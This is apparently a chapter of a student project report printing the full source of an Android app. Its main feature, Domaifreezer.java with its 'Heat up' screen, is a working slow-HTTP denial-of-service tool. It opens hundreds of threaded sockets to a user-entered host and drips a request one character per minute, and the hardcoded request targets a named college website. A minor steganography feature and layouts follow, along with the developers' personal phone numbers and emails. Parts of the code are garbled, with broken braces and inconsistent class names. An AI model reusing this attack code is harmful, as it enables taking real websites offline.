

Chapter 7

Coding

7.1 Files

There are total of eleven files that contains user defined coding in which there are five java files for functionality and five xml files for layout. These files are as follows:

- Java Files
 - Aboutus.java
 - Domaifreezer.java
 - FreezerActivity.java
 - Help.java
 - MainActivity.java
 - Signfeeder.java
- XML Files
 - activity_aboutus.xml
 - activity_freezer.xml
 - activity_help.xml
 - activity_main.xml
 - activity_signfeeder.xml

7.2 Coding

7.2.1 Aboutus.java

```
import android.support.v4.app.FragmentActivity;

import android.support.v7.app.AppCompatActivity;

import android.os.Bundle;

public class Aboutus extends FragmentActivity {
```

```

@Override

protected void onCreate(Bundle savedInstanceState) {

    super.onCreate(savedInstanceState);

    setContentView(R.layout.activity_aboutus);

}

}

```

7.2.2 Domaifreezer.java

```

import android.util.Log;

import java.io.IOException;

import java.io.OutputStream;

import java.io.PrintWriter;

import java.net.Socket;

import java.net.UnknownHostException;

public class Domaifreezer {

    static int numberofthreads=0;

    static int numberofsockets=0;

    volatile static boolean attackflag=true;

    static int datad = 0;

    static int portno;

    static String ip = null;

    static String data = "GET College/Home.aspx?institute=1 HTTP/1.1\r\n";

```

```

static String datapost = "Host: www.stxaviersbhopal.org/\r\n\r\n";

static Thread[] attackingthreads=new Thread[400];

static void attack(){

    nanu:for(int i=0;i<400;i++){

        if(!attackflag)break nanu;

        attackingthreads[i]=new Thread(new Runnable() {

            @Override

            public void run() {

                numberofthreads++;

                try {

                    Socket s= null;

                    //some people may be present at the time we will attack.

                    power:for(int j=0;j<1;j++) {

                        try {

                            s = new Socket(ip, portno);

                            numberofsockets++;

                            if(!attackflag)break power;

                        } catch (IOException e) {

                            j--;

                            Log.d("nanu","all sockets already occupied");

                            if(!attackflag)break power;

                            continue power;

                            //e.printStackTrace();

                        }

                    }

                }

            }

        });

    }

}

```

```

}

OutputStream output = null;

try {

    output = s.getOutputStream();

} catch (IOException e) {

    e.printStackTrace();

}

PrintWriter ps=new PrintWriter(output);

nabhi:for(int i=0;i<data.length();i++){

    if(!attackflag)break nabhi;

    Thread.sleep(1000*60);

    ps.print(data.charAt(i));

}

ps.print(datapost);

ps.flush();

ps.close();

try {

    output.close();

} catch (IOException e) {

    e.printStackTrace();

}

try {

    s.close();

    numberofsockets--;

```

```

        } catch (IOException e) {

            e.printStackTrace();

        }

        datad--;

    } catch (InterruptedException e) {

        e.printStackTrace();

    }

    numberofthreads--;

}

});

    attackingthreads[i].start();

}

}

}

```

7.2.3 FreezerActivity.java

```

import android.support.v4.app.FragmentActivity;

import android.support.v4.graphics.BitmapCompat;

import android.support.v7.app.AppCompatActivity;

import android.os.Bundle;

import android.view.View;

import android.widget.Button;

import android.widget.EditText;

```

```
import android.widget.Toast;
```

```
public class FreezerActivity extends FragmentActivity {
```

```
    EditText domain,portno;
```

```
    Button execute,stop,info;
```

```
    @Override
```

```
    protected void onCreate(Bundle savedInstanceState) {
```

```
        super.onCreate(savedInstanceState);
```

```
        setContentView(R.layout.activity_freezer);
```

```
        domain=(EditText)findViewById(R.id.domain_edittext);
```

```
        portno=(EditText)findViewById(R.id.portnumberid);
```

```
        execute=(Button)findViewById(R.id.attackbutton);
```

```
        stop=(Button)findViewById(R.id.stopthreadbuttonid);
```

```
        info=(Button)findViewById(R.id.info_connection);
```

```
        info.setOnClickListener(new View.OnClickListener() {
```

```
            @Override
```

```
            public void onClick(View v) {
```

```
                Toast.makeText(FreezerActivity.this,"total number of threads :  
"+Domainfreezer.numberofthreads+" \n total num" +
```

```
                "ber of connection" +
```

```
                "are :
```

```
                "+Domainfreezer.numberofsockets,Toast.LENGTH_SHORT).show();
```

```
            }
```

```
        });
```

```
        execute.setOnClickListener(new View.OnClickListener() {
```

```

@Override

public void onClick(View v) {

    Domaifreezer.attackflag=true;

    Domaifreezer.ip=domain.getText().toString();

    Domaifreezer.portno=Integer.parseInt(portno.getText().toString());

    Domaifreezer.attack();

}

});

```

```

stop.setOnClickListener(new View.OnClickListener() {

@Override

public void onClick(View v) {

    Domaifreezer.attackflag=false;

}

});

```

```

}

}

```

7.2.4 Help.java

```

import android.support.v4.app.FragmentActivity;

import android.support.v7.app.AppCompatActivity;

```

```

import android.os.Bundle;

public class Help extends FragmentActivity {

    @Override

    protected void onCreate(Bundle savedInstanceState) {

        super.onCreate(savedInstanceState);

        setContentView(R.layout.activity_help);

    }

}

```

7.2.5 MainActivity.java

```

import android.content.Intent;

import android.support.v4.app.FragmentActivity;

import android.support.v7.app.AppCompatActivity;

import android.os.Bundle;

import android.view.View;

import android.widget.Button;

public class MainActivity extends FragmentActivity {

    Button insertsig,freez,about,help;

    @Override

```



```

protected void onCreate(Bundle savedInstanceState) {

    super.onCreate(savedInstanceState);

    setContentView(R.layout.activity_main);

    insertsig=(Button)findViewById(R.id.insertsignatureid);

    freez=(Button)findViewById(R.id.freezebuttonid);

    help=(Button)findViewById(R.id.help);

    about=(Button)findViewById(R.id.about);

    help.setOnClickListener(new View.OnClickListener() {

        @Override

        public void onClick(View v) {

            Intent intent=new Intent(MainActivity.this,Help.class);

            startActivity(intent);

        }

    });

    about.setOnClickListener(new View.OnClickListener() {

        @Override

        public void onClick(View v) {

            Intent intent=new Intent(MainActivity.this,Aboutus.class);

            startActivity(intent);

        }

    });

    freez.setOnClickListener(new View.OnClickListener() {

        @Override

        public void onClick(View v) {

```

```

        Intent i=new Intent(MainActivity.this,FreezerActivity.class);

        startActivity(i);

    }

});

insertsig.setOnClickListener(new View.OnClickListener() {

    @Override

    public void onClick(View v) {

        Intent stagno=new Intent(MainActivity.this,Signfeeder.class);

        startActivity(stagno);

    }

});

}

}

```

7.2.6 Signfeeder.java

```

import android.content.Intent;

import android.net.Uri;

import android.os.Environment;

import android.support.v4.app.FragmentActivity;

import android.support.v7.app.AppCompatActivity;

import android.os.Bundle;

import android.util.Log;

```

```

import android.view.View;

import android.widget.Button;

import android.widget.EditText;

import android.widget.Toast;

import java.io.File;

import java.io.FileInputStream;

import java.io.FileNotFoundException;

import java.io.FileOutputStream;

import java.io.IOException;

public class Signfeeder extends FragmentActivity {

    Button insert,extra,filechooser;

    EditText singeditext;

    File Godpath=null;

    static String actualfile="result.jpg";

    @Override

    protected void onCreate(Bundle savedInstanceState) {

        super.onCreate(savedInstanceState);

        setContentView(R.layout.activity_signfeeder);

        singeditext = (EditText) findViewById(R.id.sign_textviewid);

        insert = (Button) findViewById(R.id.insertsign_buttonid);

        extra = (Button) findViewById(R.id.extaid);

        filechooser= (Button)findViewById(R.id.selectfile);

        filechooser.setOnClickListener(new View.OnClickListener() {

            @Override

```

```

        public void onClick(View v) {

            Intent intent=new Intent(Intent.ACTION_OPEN_DOCUMENT);

            intent.addCategory(Intent.CATEGORY_OPENABLE);

            intent.setType("*/*");

            startActivityForResult(intent,0);

        }

    });

    extra.setOnClickListener(new View.OnClickListener() {

        @Override

        public void onClick(View v) {

            Log.d("nanu","problem in button");

            int off = Integer.parseInt(singeditext.getText().toString());

            Log.d("nanu","pathmaking");

            String path =

Environment.getExternalStorageDirectory().getAbsolutePath();

            StringBuffer mystringBuffer = new StringBuffer("");

            Log.d("nanu","filehandleing");

            try {

                FileInputStream fileInputStream = new FileInputStream(path +

"/ISDL/"+actualfile);

                int a = 0;

                while ((a = fileInputStream.read()) != -1) {

                    mystringBuffer = mystringBuffer.append((char) a);

                }

                fileInputStream.close();

```

```

        String mystring = mystringBuffer.toString();

        //      Toast.makeText(Signfeeder.this,      ""      +      mystring,
Toast.LENGTH_SHORT).show();

        String target = "";

        Log.d("nanu", "error in main task");

        for (int i=0;i<off;i++) {

            target = target + mystring.charAt(mystring.length() - i-1);

        }

        Log.d("nanu", "is there a error in toasting");

        Toast.makeText(Signfeeder.this,  "the  string  is  as  follow  :
"+nabhirajreverse(target), Toast.LENGTH_LONG).show();

    } catch (FileNotFoundException e) {

        e.printStackTrace();

    } catch (IOException e) {

        e.printStackTrace();

    }

}

});

```

```

insert.setOnClickListener(new View.OnClickListener() {

    @Override

    public void onClick(View v) {

        String                                path                                =
Environment.getExternalStorageDirectory().getAbsolutePath();

```

```

File mydir = new File(path + "/ISDL");

mydir.mkdir();

StringBuffer mystringBuffer = new StringBuffer("");

try { //path + "/ISDL/nan.txt"

    FileInputStream fileInputStream = new FileInputStream(Godpath);

    int a = 0;

    while ((a = fileInputStream.read()) != -1) {

        mystringBuffer = mystringBuffer.append((char) a);

    }

    fileInputStream.close();

    String mystring = mystringBuffer.toString();

    //      Toast.makeText(Signfeeder.this,      ""      +      mystring,
Toast.LENGTH_SHORT).show();

    //now we will enter the string in the image.

    String text = singeditext.getText().toString();

    int textlenght = text.length();

    int imagelenght = mystring.length();

    for (int i = 0; i < textlenght; i++) {

        mystringBuffer.replace(imagelenght - textlenght - 1, imagelenght, text);

    }

    Toast.makeText(Signfeeder.this, "procedure finised key to the image is "
+ text.length(), Toast.LENGTH_LONG).show();

    FileOutputStream fileOutputStream = new FileOutputStream(path +
"/ISDL/"+actualfile);

```

```

        for (int i = 0; i < mystringBuffer.length(); i++) {

            fileOutputStream.write(mystringBuffer.charAt(i));

        }

        fileOutputStream.close();

    } catch (FileNotFoundException e) {

        Toast.makeText(Signfeeder.this, "file not found exeption",
Toast.LENGTH_LONG).show();

        e.printStackTrace();

    } catch (IOException e) {

        e.printStackTrace();

        Toast.makeText(Signfeeder.this, "inputoutput exeption taking place",
Toast.LENGTH_LONG).show();

    }

}

});

}

@Override

protected void onActivityResult(int requestCode, int resultCode, Intent data) {

    super.onActivityResult(requestCode, resultCode, data);

    if(requestCode==0&&resultCode==RESULT_OK){

        Uri uri=data.getData();

        String path = Environment.getExternalStorageDirectory().getAbsolutePath();

        // path=path + "/ISDL/nan.txt";

        //Log.d("nanu","",path);

```

```

        //Log.d("nanu",""+uri.getPath());

        //Log.d("nanu",""+uri.toString());

        //Log.d("nanu","befor creation of file");

        File file=new File(getfilepathfromnabhiraj(uri.getPath()));

        //now we will save the pointer of the gile to godpath

        Godpath=file;

        Toast.makeText(Signfeeder.this,"Godpath
set",Toast.LENGTH_SHORT).show();

    }

}

String getfilepathfromnabhiraj(String uripath){

    int i=1;

    while(uripath.charAt(i)!='/'){

        i++;

    }

    return uripath.substring(i+1);

}

String nabhirajreverse(String s){

    String temp="";

    for(int i=0;i<s.length();i++){

        temp=temp+s.charAt(s.length()-1-i);

    }

    return temp;

}

}

```


7.2.7 activity_aboutus.xml

```
<?xml version="1.0" encoding="utf-8"?>

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"

    xmlns:tools="http://schemas.android.com/tools"

    android:id="@+id/activity_aboutus"

    android:layout_width="match_parent"

    android:layout_height="match_parent"


    android:paddingTop="50dp"

    android:background="#f0000000"

    android:orientation="vertical"

    tools:context=".Aboutus">

    <ImageView

        android:layout_width="match_parent"

        android:layout_height="200dp"

        android:src="@drawable/vector2"

        android:scaleType="fitCenter"/>

    <TextView

        android:layout_width="wrap_content"

        android:layout_height="wrap_content"

        android:paddingTop="10dp"
```

```

        android:text="\u0040 Developers"

        android:layout_gravity="center_horizontal"

        android:textColor="#FF6F00"

        android:textSize="22dp" />

```

```
<ScrollView
```

```

        android:layout_width="match_parent"

        android:layout_height="match_parent">

```

```
<TextView
```

```

        android:layout_width="wrap_content"

        android:layout_height="wrap_content"

        android:paddingTop="10dp"

```

```

        android:text="\n\n                Nabhiraj Jain \n\n Contact details:\n \u260F
+91-7987273901\n \u2709 nabhinewton04@gmail\n\n                Ayush Nigam
\n\nContact                details:\n        \u260F        +91-9424378853\n        \u2709
ayush.nigam95@outlook/gmail.com\n\n "

```

```

        android:textColor="#CCFFFFFF"

        android:textSize="22sp" />

```

```
</ScrollView>
```

```
</LinearLayout>
```

7.2.8 activity_freezer.xml

```

<?xml version="1.0" encoding="utf-8"?>

<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"

    xmlns:tools="http://schemas.android.com/tools"

    android:id="@+id/activity_freezer"

    android:layout_width="match_parent"

    android:layout_height="match_parent"

    android:background="#e0000000"

    android:orientation="vertical"

    tools:context=".FreezerActivity">

    <EditText

        android:layout_width="match_parent"

        android:layout_height="wrap_content"

        android:id="@+id/domain_edittext"

        android:hint="Enter URL or IP"

        android:paddingBottom="20dp"

        android:paddingTop="20dp"

        android:textColor="#00ff00"

        android:textSize="20sp"

        android:textColorHint="#CCEC407A"

    />

```

<Button

```
    android:layout_width="match_parent"
    android:layout_height="wrap_content"
    android:text="Heat up !"
    android:id="@+id/attackbutton"
    android:background="#CC000000"
    android:textColor="#00ff00"
    android:padding="5dp"
    android:drawableLeft="@drawable/fire"
    android:textSize="23sp"
    android:layout_below="@+id/portnumberid"
    android:layout_alignParentStart="true" />
```

<Button

```
    android:layout_width="match_parent"
    android:layout_height="wrap_content"
    android:id="@+id/stopthreadbuttonid"
    android:text="Cool Down"
    android:textSize="23sp"
    android:drawableLeft="@drawable/weather"
    android:paddingTop="10dp"
    android:paddingBottom="10dp"
```

```
android:textColor="#00ff00"

android:padding="5dp"

android:background="#CC000000"

android:layout_below="@+id/attackbutton"

android:layout_alignParentStart="true"

android:layout_marginTop="43dp" />
```

<Button

```
android:layout_width="match_parent"

android:layout_height="wrap_content"

android:background="#CC000000"

android:padding="10dp"

android:text="Info"

android:textSize="23sp"

android:id="@+id/info_connection"

android:textColor="#00ff00"

android:drawableLeft="@drawable/info"

android:layout_below="@+id/stopthreadbuttonid"

android:layout_marginTop="43dp"

/>
```

<EditText

```
android:layout_width="match_parent"

android:layout_height="wrap_content"
```

```

        android:id="@+id/portnumberid"

        android:text="80"

        android:textColor="#00ff00"

        android:paddingBottom="20dp"

        android:paddingTop="20dp"

        android:textSize="25sp"

        android:layout_below="@+id/domain_edittext"

        android:layout_alignParentStart="true" />
</RelativeLayout>

```

7.2.9 activity_help.xml

```

<?xml version="1.0" encoding="utf-8"?>

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"

    xmlns:tools="http://schemas.android.com/tools"

    android:id="@+id/activity_help"

    android:layout_width="match_parent"

    android:layout_height="match_parent"

    android:background="#f0000000"

    android:orientation="vertical"

    tools:context=".Help">

    <ImageView android:layout_width="match_parent"

        android:layout_height="wrap_content"

```

```
android:src="@drawable/bazk"

android:scaleType="centerCrop"/>
```

```
<ScrollView
```

```
    android:layout_width="match_parent"
    android:layout_height="match_parent">
```

```
    <LinearLayout
```

```
        android:layout_width="match_parent"
        android:orientation="vertical"
        android:layout_height="match_parent">
```

```
        <TextView
```

```
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:paddingTop="20dp"
            android:paddingBottom="20dp"
            android:text="[ Heat Server !]"
            android:textSize="30sp"
            android:textColor="#CC4FC3F7"

            />
```

```
        <TextView
```

```
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:paddingTop="10dp"
```

```
android:paddingBottom="10dp"
```

```
android:paddingLeft="5dp"
```

```
android:paddingRight="5dp"
```

```
    android:text="When [ Heat up ! ] button is pressed, this selection creates a  
number of Threads of Uncompleted HTTP GET request, aimed for the inserted URL  
by the user\n\nSteps:\n\n1. Enter URL of the website.\n2.Press [ Heat up ! ] button.\n "
```

```
    android:textSize="20sp"
```

```
    android:textColor="#CCFFFFFF"
```

```
<TextView
```

```
    android:layout_width="wrap_content"
```

```
    android:layout_height="wrap_content"
```

```
    android:paddingTop="20dp"
```

```
    android:paddingBottom="20dp"
```

```
    android:text="[ Stamp Image ]"
```

```
    android:textSize="30sp"
```

```
    android:textColor="#CC4FC3F7"
```

```
<TextView
```

```
    android:layout_width="match_parent"
```

```
    android:layout_height="wrap_content"
```

```
    android:paddingTop="10dp"
```

```
    android:paddingBottom="10dp"
```

```
    android:paddingLeft="5dp"
```



```
android:paddingRight="5dp"
```

android:text="Pressing [Stamp Image] button will migrate you to the steganographic functionality.\n\nIn easier language, Steganography is the the practice of concealing messages or information within other non-secret text or data.\nThrough this option you can attach any text as a signature to the concerned image.\n\nThis inserted text is not visible to anyone who is viewing the image. Long story short, inserted text will remain hidden and can obly be validated by a key which is displayed by a toast notification when you press [Stamp Image] button\n\nOn inserting the key to message bar, if you press [Extract] button, you will get a toast notification with the same text you inserted to the image.\n\nSteps:\n\n1.Enter the text.\n2.Select image.\n3.Press [Stamp Image] button.\n4.Remember the key.\n5.Insert key in the message bar and check the inserted text by pushing [Extract] button.\n\n\nThank You for your support.\n\nFor more details contact developers ."

```
android:textSize="20sp"
```

```
android:textColor="#CCFFFFFF" />
```

```
</LinearLayout>
```

```
</ScrollView>
```

```
</LinearLayout>
```

7.2.10 activity_main.xml

```
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
```

```
xmlns:tools="http://schemas.android.com/tools"
```

```
android:id="@+id/activity_main"
```

```

        android:layout_width="match_parent"

        android:layout_height="match_parent"

        android:background="#f0000000"

        android:orientation="vertical"

        tools:context=".MainActivity">

<ImageView android:layout_width="match_parent"

        android:layout_height="wrap_content"

        android:src="@drawable/preview"

        android:scaleType="centerCrop"/>

<ScrollView android:layout_width="match_parent"

        android:layout_height="match_parent">

    <LinearLayout

        android:layout_width="match_parent"

        android:layout_height="match_parent"

        android:orientation="vertical"

        android:weightSum="1">

        <Button android:id="@+id/freezebuttonid"

            android:layout_width="match_parent"

            android:layout_height="70dp"

            android:layout_gravity="center"

            android:layout_margin="10dp"

            android:background="#CC000000"

            android:padding="15dp"

            android:text="Heat Server"

```

```

        android:textColor="#11ff11"

        android:textSize="20sp"

        android:drawableLeft="@drawable/emp"/>
<Button

        android:id="@+id/insertsignatureid"

        android:layout_width="match_parent"

        android:layout_height="70dp"

        android:layout_gravity="center"

        android:layout_margin="10dp"

        android:textColor="#11ff11"

        android:background="#CC000000"

        android:padding="15dp"

        android:text="Stamp Image"


        android:textSize="20sp"

        android:drawableLeft="@drawable/stamp"/>
<Button

        android:id="@+id/help"

        android:layout_width="match_parent"

        android:layout_height="70dp"

        android:layout_gravity="center"

        android:layout_margin="10dp"

        android:background="#CC000000"

        android:padding="15dp"

```

```

        android:text="Assistance !"

        android:textColor="#4FC3F7"

        android:textSize="20sp"

        android:drawableLeft="@drawable/assistance2"/>
    <Button

        android:id="@+id/about"

        android:layout_width="match_parent"

        android:layout_height="70dp"

        android:layout_gravity="center"

        android:layout_margin="10dp"

        android:background="#CC000000"

        android:padding="15dp"

        android:text="\u0040 developer"

        android:textColor="#FF6F00"

        android:drawableLeft="@drawable/developers"

        android:textSize="20sp"/>
</LinearLayout>

</ScrollView>

</LinearLayout>

```

7.2.11 activity_signfeeder.xml

```

<?xml version="1.0" encoding="utf-8"?>

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"

```

```
xmlns:tools="http://schemas.android.com/tools"
```

```
android:id="@+id/activity_signfeeder"
```

```
android:layout_width="match_parent"
```

```
android:layout_height="match_parent"
```

```
android:paddingTop="20dp"
```

```
android:background="#e0000000"
```

```
android:orientation="vertical"
```

```
tools:context=".Signfeeder">
```

```
<EditText
```

```
    android:layout_width="match_parent"
```

```
    android:layout_height="wrap_content"
```

```
    android:paddingTop="30dp"
```

```
    android:paddingBottom="20dp"
```

```
    android:textSize="25dp"
```

```
    android:id="@+id/sign_textviewid"
```

```
    android:gravity="center"
```

```
    android:hint="Enter Text or Key"
```

```
    android:textColorHint="#CCEC407A"
```

```
    android:textColor="#11ff11"
```

```
<ScrollView
```

```
    android:layout_width="match_parent"
```

```
    android:layout_height="match_parent">
```

```
<LinearLayout
```

```

        android:layout_width="match_parent"

        android:layout_height="match_parent"

        android:orientation="vertical"

    >

    <Button

        android:layout_width="match_parent"

        android:layout_height="wrap_content"

        android:text="Pick Image"

        android:textSize="20dp"

        android:id="@+id/selectfile"

        android:padding="20dp"

        android:layout_gravity="center"

        android:layout_margin="35dp"

        android:textColor="#11ff11"

        android:background="#CC000000"

        android:layout_marginLeft="10dp"

    />

```

```

    <Button

        android:layout_width="match_parent"

        android:layout_height="wrap_content"

        android:text="Stamp Image"

        android:textSize="20dp"

        android:layout_gravity="center"

        android:layout_margin="35dp"

```

```
        android:textColor="#11ff11"

        android:background="#CC000000"

        android:padding="20dp"

        android:id="@+id/insertsign_buttonid"

        android:layout_marginLeft="10dp"

    />
```

```
<Button

    android:layout_width="match_parent"

    android:layout_height="wrap_content"

    android:text="Extract"

    android:textSize="20dp"

    android:layout_gravity="center"

    android:layout_margin="35dp"

    android:textColor="#11ff11"

    android:background="#CC000000"

    android:padding="20dp"

    android:id="@+id/extaid"

    android:layout_marginLeft="10dp"

/>
```

```
</LinearLayout>
```

```
</ScrollView>
```

```
</LinearLayout>
```